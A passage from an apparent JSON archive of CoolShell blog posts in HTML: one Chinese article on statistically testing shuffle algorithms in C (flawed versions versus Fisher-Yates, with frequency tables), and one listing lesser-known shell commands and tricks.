    "content": "<html><body><p>我希望本文有助于你了解测试软件是一件很重要也是一件不简单的事。</p>\n<p>我们有一个程序，叫ShuffleArray()，是用来洗牌的，我见过N多千变万化的ShuffleArray()，但是似乎从来没人去想过怎么去测试这个算法。所以，我在面试中我经常会问应聘者如何测试ShuffleArray()，没想到这个问题居然难倒了很多有多年编程经验的人。对于这类的问题，其实，测试程序可能比算法更难写，代码更多。而这个问题正好可以加强一下我在《<a href=\"https://coolshell.cn/articles/6994.html\" target=\"_blank\" title=\"我们需要专职的QA吗？\">我们需要专职的QA吗？</a>》中我所推崇的——开发人员更适合做测试的观点。</p>\n<p>我们先来看几个算法（<strong>第一个用递归二分随机抽牌，第二个比较偷机取巧，第三个比较通俗易懂</strong>）</p>\n<h4>递归二分随机抽牌</h4>\n<p>有一次是有一个朋友做了一个网页版的扑克游戏，他用到的算法就是想模拟平时我们玩牌时用手洗牌的方式，是用递归+二分法，我说这个程序恐怕不对吧。他觉得挺对的，说测试了没有问题。他的程序大致如下（原来的是用Javascript写的，我在这里凭记忆用C复现一下）：</p>\n<pre class=\"EnlighterJSRAW\">\n//递归二分方法\nconst size_t MAXLEN = 10;\nconst char TestArr[MAXLEN] = {'A','B','C','D','E','F','G','H','I','J'};\n\nstatic char RecurArr[MAXLEN]={0};\nstatic int cnt = 0;\nvoid ShuffleArray_Recursive_Tmp(char* arr, int len)\n{\n    if(cnt &gt; MAXLEN || len &lt;=0){\n        return;\n    }\n\n    int pos = rand() % len;\n    RecurArr[cnt++] = arr[pos];\n    if (len==1) return;\n    ShuffleArray_Recursive_Tmp(arr, pos);\n    ShuffleArray_Recursive_Tmp(arr+pos+1, len-pos-1);\n}\n\nvoid ShuffleArray_Recursive(char* arr, int len)\n{\n    memset(RecurArr, 0, sizeof(RecurArr));\n    cnt=0;\n    ShuffleArray_Recursive_Tmp(arr, len);\n    memcpy(arr, RecurArr, len);\n}\n\nvoid main()\n{\n    char temp[MAXLEN]={0};\n    for(int i=0; i&lt;5; i++) {\n        strncpy(temp, TestArr, MAXLEN);\n        ShuffleArray_Recursive((char*)temp, MAXLEN);\n    }\n}\n</pre>\n<p><span id=\"more-8593\"></span></p>\n<p>随便测试几次，还真像那么回事：</p>\n<pre class=\"EnlighterJSRAW\">第一次：D C A B H E G F I J\n第二次：A G D B C E F J H I\n第三次：A B H F C E D G I J\n第四次：J I F B A D C E H G\n第五次：F B A D C E H G I J</pre>\n<h4>快排Hack法</h4>\n<p>让我们再看一个hack 快排的洗牌程序（只看算法，省去别的代码）：</p>\n<pre class=\"EnlighterJSRAW\">\nint compare( const void *a, const void *b )\n{\n    return rand()%3-1;\n}\n\nvoid ShuffleArray_Sort(char* arr, int len)\n{\n    qsort( (void *)arr, (size_t)len, sizeof(char), compare );\n}\n</pre>\n<p>运行个几次，感觉得还像那么回事：</p>\n<pre class=\"EnlighterJSRAW\">第一次：H C D J F E A G B I\n第二次：B F J D C E I H G A\n第三次：C G D E J F B I A H\n第四次：H C B J D F G E I A\n第五次：D B C F E A I H G J</pre>\n<p>看不出有什么破绽。</p>\n<h4>大多数人的实现</h4>\n<p>下面这个算法是大多数人的实现，就是for循环一次，然后随机交换两个数</p>\n<pre class=\"EnlighterJSRAW\">void ShuffleArray_General(char* arr, int len)\n{\n    const int suff_time = len;\n    for(int idx=0; idx&lt;suff_time; idx++) {\n        int i = rand() % len;\n        int j = rand() % len;\n        char temp = arr[i];\n        arr[i] = arr[j];\n        arr[j] = temp;\n    }\n}</pre>\n<p>跑起来也还不错，洗得挺好的。</p>\n<pre class=\"EnlighterJSRAW\">第一次：G F C D A J B I H E\n第二次：D G J F E I A H C B\n第三次：C J E F A D G B H I\n第四次：H D C F A E B J I G\n第五次：E A J F B I H G D C</pre>\n<p>但是上述三个算法哪个的效果更好？好像都是对的。<strong>一般的QA或是程序员很有可能就这样把这个功能Pass了</strong>。但是事情并没有那么简单……</p>\n<h4>如何测试</h4>\n<p>在做测试之前，我们还需要了解一下一个基本知识——<strong>PC机上是做不出真随机数的，只能做出伪随机数。真随机数需要硬件支持</strong>。但是不是这样我们就无法测试了呢，不是的。我们依然可以测试。</p>\n<p>我们知道，洗牌洗得好不好，主要是看是不是够随机。那么如何测试随机性呢？</p>\n<p>试想，我们有个随机函数rand()返回1到10中的一个数，如果够随机的话，每个数返回的概率都应该是一样的，也就是说每个数都应该有10分之1的概率会被返回。</p>\n<p>一到概率问题，我们只有一个方法来做测试，那就是用统计的方式。也就是说，你调用rand()函数100次，其中，每个数出现的次数大约都在10次左右。（注意：我用了左右，这说明概率并不是很准确的）不应该有一个数出现了15次以上，另一个在5次以下，要是这样的话，这个函数就是错的。</p>\n<p>举一反三，测试洗牌程序也一样，需要通过概率的方式来做统计，是不是每张牌出现在第一个位置的次数都是差不多的。</p>\n<p>于是，这样一来上面的程序就可以很容易做测试了。</p>\n<p>下面是测试结果（<strong>测试样本1000次——列是每个位置出现的次数，行是各个字符的统计</strong>，出现概率应该是1/10，也就是100次）：</p>\n<p><strong>递归随机抽牌的方法</strong></p>\n<p>很明显，这个洗牌程序太有问题。算法是错的！</p>\n<pre class=\"EnlighterJSRAW\">     1    2    3    4    5    6    7    8    9    10\n----------------------------------------------------\nA | 101  283  317  208   65   23    3    0    0    0\nB | 101  191  273  239  127   54   12    2    1    0\nC | 103  167  141  204  229  115   32    7    2    0\nD | 103  103   87  128  242  195  112   26    3    1\nE | 104   83   62   67  116  222  228   93   22    3\nF |  91   58   34   60   69  141  234  241   65    7\nG |  93   43   35   19   44  102  174  274  185   31\nH |  94   28   27   27   46   68   94  173  310  133\nI | 119   27   11   30   28   49   64   96  262  314\nJ |  91   17   13   18   34   31   47   88  150  511</pre>\n<p><strong>快排Hack法</strong></p>\n<p>看看对角线（从左上到右下）上的数据，很离谱！所以，这个算法也是错的。</p>\n<pre class=\"EnlighterJSRAW\">      1    2    3    4    5    6    7    8    9    10\n-----------------------------------------------------\nA |   74  108  123  102   93  198   40   37   52  173\nB |  261  170  114   70   49   28   37   76  116   79\nC |  112  164  168  117   71   37   62   96  116   57\nD |   93   91  119  221  103   66   91   98   78   40\nE |   62   60   82   90  290  112   95   98   71   40\nF |   46   60   63   76   81  318   56   42   70  188\nG |   72   57   68   77   83   39  400  105   55   44\nH |   99   79   70   73   87   34  124  317   78   39\nI |  127  112  102   90   81   24   57   83  248   76\nJ |   54   99   91   84   62  144   38   48  116  264</pre>\n<p><strong>大多数人的算法</strong></p>\n<p>我们再来看看大多数人的算法。还是对角线上的数据有问题，所以，还是错的。</p>\n<pre class=\"EnlighterJSRAW\">      1    2    3    4    5    6    7    8    9    10\n-----------------------------------------------------\nA |  178   98   92   82  101   85   79  105   87   93\nB |   88  205   90   94   77   84   93   86  106   77\nC |   93   99  185   96   83   87   98   88   82   89\nD |  105   85   89  190   92   94  105   73   80   87\nE |   97   74   85   88  204   91   80   90  100   91\nF |   85   84   90   91   96  178   90   91  105   90\nG |   81   84   84  104  102  105  197   75   79   89\nH |   84   99  107   86   82   78   92  205   79   88\nI |  102   72   88   94   87  103   94   92  187   81\nJ |   87  100   90   75   76   95   72   95   95  215</pre>\n<h4>正确的算法</h4>\n<p>下面，我们来看看性能高且正确的算法—— <a href=\"http://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle\" target=\"_blank\">Fisher_Yates算法</a></p>\n<pre class=\"EnlighterJSRAW\">void ShuffleArray_Fisher_Yates(char* arr, int len)\n{\n    int i = len, j;\n    char temp;\n\n    if ( i == 0 ) return;\n    while ( --i ) {\n        j = rand() % (i+1);\n        temp = arr[i];\n        arr[i] = arr[j];\n        arr[j] = temp;\n    }\n}</pre>\n<p>这个算法不难理解，看看测试效果（效果明显比前面的要好）：</p>\n<pre class=\"EnlighterJSRAW\">      1    2    3    4    5    6    7    8    9    10\n-----------------------------------------------------\nA |  107   98   83  115   89  103  105   99   94  107\nB |   91  106   90  102   88  100  102   97  112  112\nC |  100  107   99  108  101   99   86   99  101  100\nD |   96   85  108  101  117  103  102   96  108   84\nE |  106   89  102   86   88  107  114  109  100   99\nF |  109   96   87   94   98  102  109  101   92  102\nG |   94   95  119  110   97  112   89  101   89   94\nH |   93  102  102  103  100   89  107  105  101   98\nI |   99  110  111  101  102   79  103   89  104  102\nJ |  105  112   99   99  108  106   95   95   99   82</pre>\n<p>但是我们可以看到还是不完美。因为我们使用的rand()是伪随机数，不过已经很不错的。最大的误差在20%左右。</p>\n<p>我们再来看看洗牌100万次的统计值，你会看到误差在6%以内了。这个对于伪随机数生成的程序已经很不错了。</p>\n<pre class=\"EnlighterJSRAW\">      1       2     3       4      5      6      7      8     9      10\n-------------------------------------------------------------------------\nA | 100095  99939 100451  99647  99321 100189 100284  99565 100525  99984\nB |  99659 100394  99699 100436  99989 100401  99502 100125 100082  99713\nC |  99938  99978 100384 100413 100045  99866  99945 100025  99388 100018\nD |  99972  99954  99751 100112 100503  99461  99932  99881 100223 100211\nE | 100041 100086  99966  99441 100401  99958  99997 100159  99884 100067\nF | 100491 100294 100164 100321  99902  99819  99449 100130  99623  99807\nG |  99822  99636  99924 100172  99738 100567 100427  99871 100125  99718\nH |  99445 100328  99720  99922 100075  99804 100127  99851 100526 100202\nI | 100269 100001  99542  99835 100070  99894 100229 100181  99718 100261\nJ | 100268  99390 100399  99701  99956 100041 100108 100212  99906 100019</pre>\n<h4>如何写测试案例</h4>\n<p>测试程序其实很容易写了。就是，设置一个样本大小，做一下统计，然后计算一下误差值是否在可以容忍的范围内。比如：</p>\n<ul>\n<li>样本：100万次</li>\n<li>最大误差：10%以内</li>\n<li>平均误差：5%以内 （或者：90%以上的误差要小于5%）</li>\n</ul>\n<h4>注意</h4>\n<p>其实，以上的测试只是测试了牌在各个位置的概率。这个还不足够好。因为还可能会现在有Patten的情况。如：每次洗牌出来的都是一个循环顺序数组。这完全可以满足我上面的测试条件。但是那明显是错的。<strong>所以，还需要统计每种排列的出现的次数</strong>，看看是不是均匀。但是，<strong>如果这些排列又是以某种规律出现的呢</strong>？看来，这没完没了了。</p>\n<p>测试的确是一个很重要，并不简单的事情。谢谢所有参与讨论的人。</p>\n<h4>附录</h4>\n<p>之前忘贴了一个模拟我们玩牌洗牌的算法，现补充如下：</p>\n<pre class=\"EnlighterJSRAW\">void ShuffleArray_Manual(char* arr, int len)\n{\n    int mid = len / 2;\n\n    for (int n=0; n&lt;5; n++){\n\n        //两手洗牌\n        for (int i=1; i&lt;mid; i+=2){\n            char tmp = arr[i];\n            arr[i] = arr[mid+i];\n            arr[mid+i] = tmp;\n        }\n\n        //随机切牌\n        char *buf = (char*)malloc(sizeof(char)*len);\n\n        for(int j=0; j&lt;5; j++) {\n            int start= rand() % (len-1) + 1;\n            int numCards= rand()% (len/2) + 1;\n\n            if (start + numCards &gt; len ){\n                numCards = len - start;\n            }\n\n            memset(buf, 0, len);\n            strncpy(buf, arr, start);\n            strncpy(arr, arr+start, numCards);\n            strncpy(arr+numCards, buf, start);\n        }\n        free(buf);\n\n    }\n}</pre>\n<p>我们来看看测试结果：（10万次）效果更好一些，误差在2%以内了。</p>\n<pre class=\"EnlighterJSRAW\">      1       2     3       4      5      6      7      8     9      10\n-------------------------------------------------------------------------\nA |  10002   9998   9924  10006  10048  10200   9939   9812  10080   9991\nB |   9939   9962  10118  10007   9974  10037  10149  10052   9761  10001\nC |  10054  10100  10050   9961   9856   9996   9853  10016   9928  10186\nD |   9851   9939   9852  10076  10208  10003   9974  10052   9992  10053\nE |  10009   9915  10050  10037   9923  10094  10078  10059   9880   9955\nF |  10151  10115  10113   9919   9844   9896   9891   9904  10225   9942\nG |  10001  10116  10097  10030  10061   9993   9891   9922   9889  10000\nH |  10075  10033   9866   9857  10170   9854  10062  10078  10056   9949\nI |  10045   9864   9879  10066   9930   9919  10085  10104  10095  10013\nJ |   9873   9958  10051  10041   9986  10008  10078  10001  10094   9910</pre>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17381.html\"><img alt=\"性能测试应该怎么做？\" height=\"150\" src=\"../wp-content/uploads/2016/07/PerfTest-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17381.html\">性能测试应该怎么做？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17225.html\"><img alt=\"Cuckoo Filter：设计与实现\" height=\"150\" src=\"../wp-content/uploads/2015/08/cuckoo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17225.html\">Cuckoo Filter：设计与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11832.html\"><img alt=\"【活动】解迷题送礼物\" height=\"150\" src=\"../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11832.html\">【活动】解迷题送礼物</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10590.html\"><img alt=\"二维码的生成细节和原理\" height=\"150\" src=\"../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10590.html\">二维码的生成细节和原理</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8593.html\">如何测试洗牌程序</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-11-23 你可能不知道的Shell.html",
    "content": "<html><body><p>Shell也叫做命令行界面，它是*nix操作系统下用户和计算机的交互界面。Shell这个词是指操作系统中提供访问内核服务的程序。</p>\n<p>这篇文章向大家介绍Shell一些非广为人知、但却实用有趣的知识，权当品尝shell主食后的甜点吧。</p>\n<h4>科普</h4>\n<p>先科普几个你可能不知道的事实：</p>\n<ul>\n<li>Shell几乎是和Unix操作系统一起诞生，第一个Unix Shell是肯·汤普逊（Ken Thompson）以Multics上的Shell为模范在1971年改写而成，并命名Thompson sh。即便是后来流行的bash（shell的一种变体），它的年龄实际上比当前流行的所有的Linux kernel都大，可谓在Linux系统上是先有Shell再有Kernel。</li>\n</ul>\n<ul>\n<li>当前绝大部分*nix和MacOS操作系统里的默认的Shell都是bash，bash由Brian Fox在1987年创造，全称Bourne Again shell ( bash)。</li>\n</ul>\n<ul>\n<li>你或许听说除了bash之外，还有Bourne shell ( sh)，Korn shell ( ksh)，C shell （包括 csh and tcsh），但是你知道这个星球上一共存在着大约50多种不同的shell么？想了解他们，请参考 <a href=\"http://www.freebsd.org/ports/shells.html\" rel=\"noopener\" target=\"_blank\">http://www.freebsd.org/ports/shells.html</a>。</li>\n</ul>\n<ul>\n<li>每个月<a href=\"http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html\" rel=\"noopener\" target=\"_blank\">tiobe</a>上都会给一个编程语言的排名，来显示各种语言的流行度。排名指数综合了全球范围内使用该语言的工程师人数、教学的课程数和第三方供应商数。截止至2012年11月份，tiobe公布的编程语言排行榜里，bash的指数是0.56%排名22位。如果算上它旗下的awk 0.21%和tcl 0.146%，大概就能排到14名。注意这里还不包括bash的同源的兄弟姐妹csh、ksh等，算上它们，shell家族有望接近前十。值得一提的是一直以来shell的排名就很稳定，不像某些“暴发户”语言，比如objective-c，这些语言的流行完全是因为当前Apple系的崛起，但这种热潮极有可能来得快去得更快。</li>\n</ul>\n<p><span id=\"more-8619\"></span></p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-18796\" height=\"614\" src=\"../wp-content/uploads/2012/11/shell.01.png\" width=\"616\"/></p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-18797\" height=\"531\" src=\"../wp-content/uploads/2012/11/shell.02.png\" width=\"290\"/></p>\n<p> </p>\n<p>全球最大的源代码仓库Github里，shell相关的项目数占到了8%，跻身前5和Java相当，可见在实战工程里，shell可谓宝刀不老。图片来源，<a href=\"https://github.com/languages\">参见这里</a></p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-18798\" height=\"284\" src=\"../wp-content/uploads/2012/11/shell.03.png\" width=\"700\"/></p>\n<h4>一些强大的命令</h4>\n<p>再分享一些可能你不知道的shell用法和脚本，简单&amp;强大！</p>\n<p><em>在阅读以下部分前，强烈建议读者打开一个shell实验，这些都不是shell教科书里的大路货哦：）</em></p>\n<ul>\n<li><strong><code>!$</code></strong><br/>\n<code>!$</code>是一个特殊的环境变量，它代表了上一个命令的最后一个字符串。如：你可能会这样：\n<pre class=\"EnlighterJSRAW\">$mkdir mydir\n$mv mydir yourdir\n$cd yourdir</pre>\n<p>可以改成：</p>\n<pre class=\"EnlighterJSRAW\">$mkdir mydir\n$mv !$ yourdir\n$cd !$</pre>\n</li>\n</ul>\n<ul>\n<li><strong><code>sudo !!</code></strong><br/>\n以root的身份执行上一条命令 。<br/>\n场景举例：比如Ubuntu里用<code>apt-get</code>安装软件包的时候是需要root身份的，我们经常会忘记在<code>apt-get</code>前加<code>sudo</code>。每次不得不加上<code>sudo</code>再重新键入这行命令，这时可以很方便的用<code>sudo !!</code>完事。<br/>\n（陈皓注：在shell下，有时候你会输入很长的命令，你可以使用!xxx来重复最近的一次命令，比如，你以前输入过，vi /where/the/file/is, 下次你可以使用 !vi 重得上次最近一次的vi命令。）</li>\n</ul>\n<ul>\n<li><strong><code>cd –</code></strong><br/>\n回到上一次的目录 。<br/>\n场景举例：当前目录为<code>/home/a</code>，用<code>cd ../b</code>切换到<code>/home/b</code>。这时可以通过反复执行<code>cd –</code>命令在<code>/home/a</code>和<code>/home/b</code>之间来回方便的切换。<br/>\n（陈皓注：cd ~ 是回到自己的Home目录，cd ~user，是进入某个用户的Home目录）</li>\n</ul>\n<ul>\n<li><strong><code>'ALT+.' or '&lt;ESC&gt; .'</code></strong><br/>\n热建alt+. 或 esc+. 可以把上次命令行的参数给重复出来。</li>\n</ul>\n<ul>\n<li><strong><code>^old^new</code></strong><br/>\n替换前一条命令里的部分字符串。<br/>\n场景：<code>echo \"wanderful\"</code>，其实是想输出<code>echo \"wonderful\"</code>。只需要<code>^a^o</code>就行了，对很长的命令的错误拼写有很大的帮助。（陈皓注：也可以使用 <strong>!!:gs/old/new</strong>）</li>\n</ul>\n<ul>\n<li><strong><code>du -s * | sort -n | tail</code></strong><br/>\n列出当前目录里最大的10个文件。</li>\n</ul>\n<ul>\n<li><strong><code>:w !sudo tee %</code></strong><br/>\n在vi中保存一个只有root可以写的文件</li>\n</ul>\n<ul>\n<li><strong><code>date -d@1234567890</code></strong><br/>\n时间截转时间</li>\n</ul>\n<ul>\n<li>\n<div title=\"Click to select this command\">\n<div><strong><code>&gt; file.txt</code></strong><br/>\n创建一个空文件，比touch短。</div>\n</div>\n</li>\n</ul>\n<ul>\n<li><strong><code>mtr coolshell.cn</code></strong><br/>\nmtr命令比traceroute要好。</li>\n</ul>\n<ul>\n<li>在命令行前加空格，该命令不会进入history里。</li>\n</ul>\n<ul>\n<li><strong><code>echo \"ls -l\" | at midnight</code></strong><br/>\n在某个时间运行某个命令。</li>\n</ul>\n<ul>\n<li><strong><code>curl -u user:pass -d status=\"Tweeting from the shell\" http://twitter.com/statuses/update.xml</code></strong><br/>\n命令行的方式更新twitter。</li>\n</ul>\n<ul>\n<li><strong><code>curl -u username --silent \"https://mail.google.com/mail/feed/atom\" | perl -ne 'print \"\\t\" if /&lt;name&gt;/; print \"$2\\n\" if /&lt;(title|name)&gt;(.*)&lt;\\/\\1&gt;/;'</code></strong><br/>\n检查你的gmail未读邮件</li>\n</ul>\n<ul>\n<li><strong><code>ps aux | sort -nk +4 | tail</code></strong><br/>\n列出头十个最耗内存的进程</li>\n</ul>\n<ul>\n<li><strong><code>man ascii</code></strong><br/>\n显示ascii码表。<br/>\n场景：忘记ascii码表的时候还需要google么?尤其在天朝网络如此“顺畅”的情况下，就更麻烦在GWF多应用一次规则了，直接用本地的<code>man ascii</code>吧。</li>\n</ul>\n<ul>\n<li><strong><code>ctrl-x e</code></strong><br/>\n快速启动你的默认编辑器（由变量$EDITOR设置）。</li>\n</ul>\n<ul>\n<li><strong><code>netstat –tlnp</code></strong><br/>\n列出本机进程监听的端口号。（陈皓注：netstat -anop 可以显示侦听在这个端口号的进程）</li>\n</ul>\n<ul>\n<li><strong><code>tail -f /path/to/file.log | sed '/^Finished: SUCCESS$/ q'</code></strong><br/>\n当file.log里出现Finished: SUCCESS时候就退出tail，这个命令用于实时监控并过滤log是否出现了某条记录。</li>\n</ul>\n<ul>\n<li><strong><code>ssh user@server bash &lt; /path/to/local/script.sh</code></strong><br/>\n在远程机器上运行一段脚本。这条命令最大的好处就是不用把脚本拷到远程机器上。</li>\n</ul>\n<ul>\n<li><strong><code>ssh user@host cat /path/to/remotefile | diff /path/to/localfile -</code></strong><br/>\n比较一个远程文件和一个本地文件</li>\n</ul>\n<ul>\n<li>\n<div title=\"Click to select this command\">\n<div><strong><code>net rpc shutdown -I ipAddressOfWindowsPC -U username%password</code></strong><br/>\n远程关闭一台Windows的机器</div>\n</div>\n</li>\n</ul>\n<ul>\n<li><strong><code>screen -d -m -S some_name ping my_router</code></strong><br/>\n后台运行一段不终止的程序，并可以随时查看它的状态。<code>-d -m</code>参数启动“分离”模式，<code>-S</code>指定了一个session的标识。可以通过<code>-R</code>命令来重新“挂载”一个标识的session。更多细节请参考screen用法 <code>man screen</code>。</li>\n</ul>\n<ul>\n<li><strong><code>wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com</code></strong><br/>\n下载整个www.example.com网站。（注：别太过分，大部分网站都有防爬功能了：））</li>\n</ul>\n<ul>\n<li><strong><code>curl ifconfig.me</code></strong><br/>\n当你的机器在内网的时候，可以通过这个命令查看外网的IP。</li>\n</ul>\n<ul>\n<li><strong><code>convert input.png -gravity NorthWest -background transparent -extent 720x200  output.png</code></strong><br/>\n改一下图片的大小尺寸</li>\n</ul>\n<ul>\n<li><strong><code>lsof –i</code></strong><br/>\n实时查看本机网络服务的活动状态。</li>\n</ul>\n<ul>\n<li><strong><code>vim scp://username@host//path/to/somefile</code></strong><br/>\nvim一个远程文件</li>\n</ul>\n<ul>\n<li><strong><code>python -m SimpleHTTPServer</code></strong><br/>\n一句话实现一个HTTP服务，把当前目录设为HTTP服务目录，可以通过<code>http://localhost:8000</code>访问 这也许是这个星球上最简单的HTTP服务器的实现了。</li>\n</ul>\n<ul>\n<li><strong><code>history | awk '{CMD[$2]++;count++;} END { for (a in CMD )print CMD[a] \" \" CMD[a]/count*100 \"% \" a }' | grep -v \"./\" | column -c3 -s \" \" -t | sort -nr | nl | head -n10</code></strong><br/>\n(陈皓注：有点复杂了，history|awk ‘{print $2}’|awk ‘BEGIN {FS=”|”} {print $1}’|sort|uniq -c|sort -rn|head -10)<br/>\n这行脚本能输出你最常用的十条命令，由此甚至可以洞察你是一个什么类型的程序员。</li>\n</ul>\n<ul>\n<li>\n<div title=\"Click to select this command\">\n<div><strong><code>tr -c \"[:digit:]\" \" \" &lt; /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR=\"1;32\" grep --color \"[^ ]\"</code></strong><br/>\n想看看Marix的屏幕效果吗？（不是很像，但也很Cool!）</div>\n</div>\n</li>\n</ul>\n<p>看不懂行代码？没关系，系统的学习一下*nix shell脚本吧，力荐<a href=\"http://www.ituring.com.cn/book/980\">《Linux命令行与Shell脚本编程大全》</a>。</p>\n<h4>参考文献：</h4>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Unix_shell#Shell_categories\">Unix Shell Wiki</a></li>\n<li><a href=\"https://github.com\">Github language ranking</a></li>\n<li><a href=\"http://www.softpanorama.org/People/Shell_giants/introduction.shtml\">An introduction of Unix Shell history</a></li>\n<li><a href=\"http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html\" rel=\"noopener\" target=\"_blank\">Tiobe Software</a></li>\n<li><a href=\"http://www.commandlinefu.com/\" rel=\"noopener\" target=\"_blank\">http://www.commandlinefu.com/</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-11-6 Go 语言简介（上）— 语法.html",
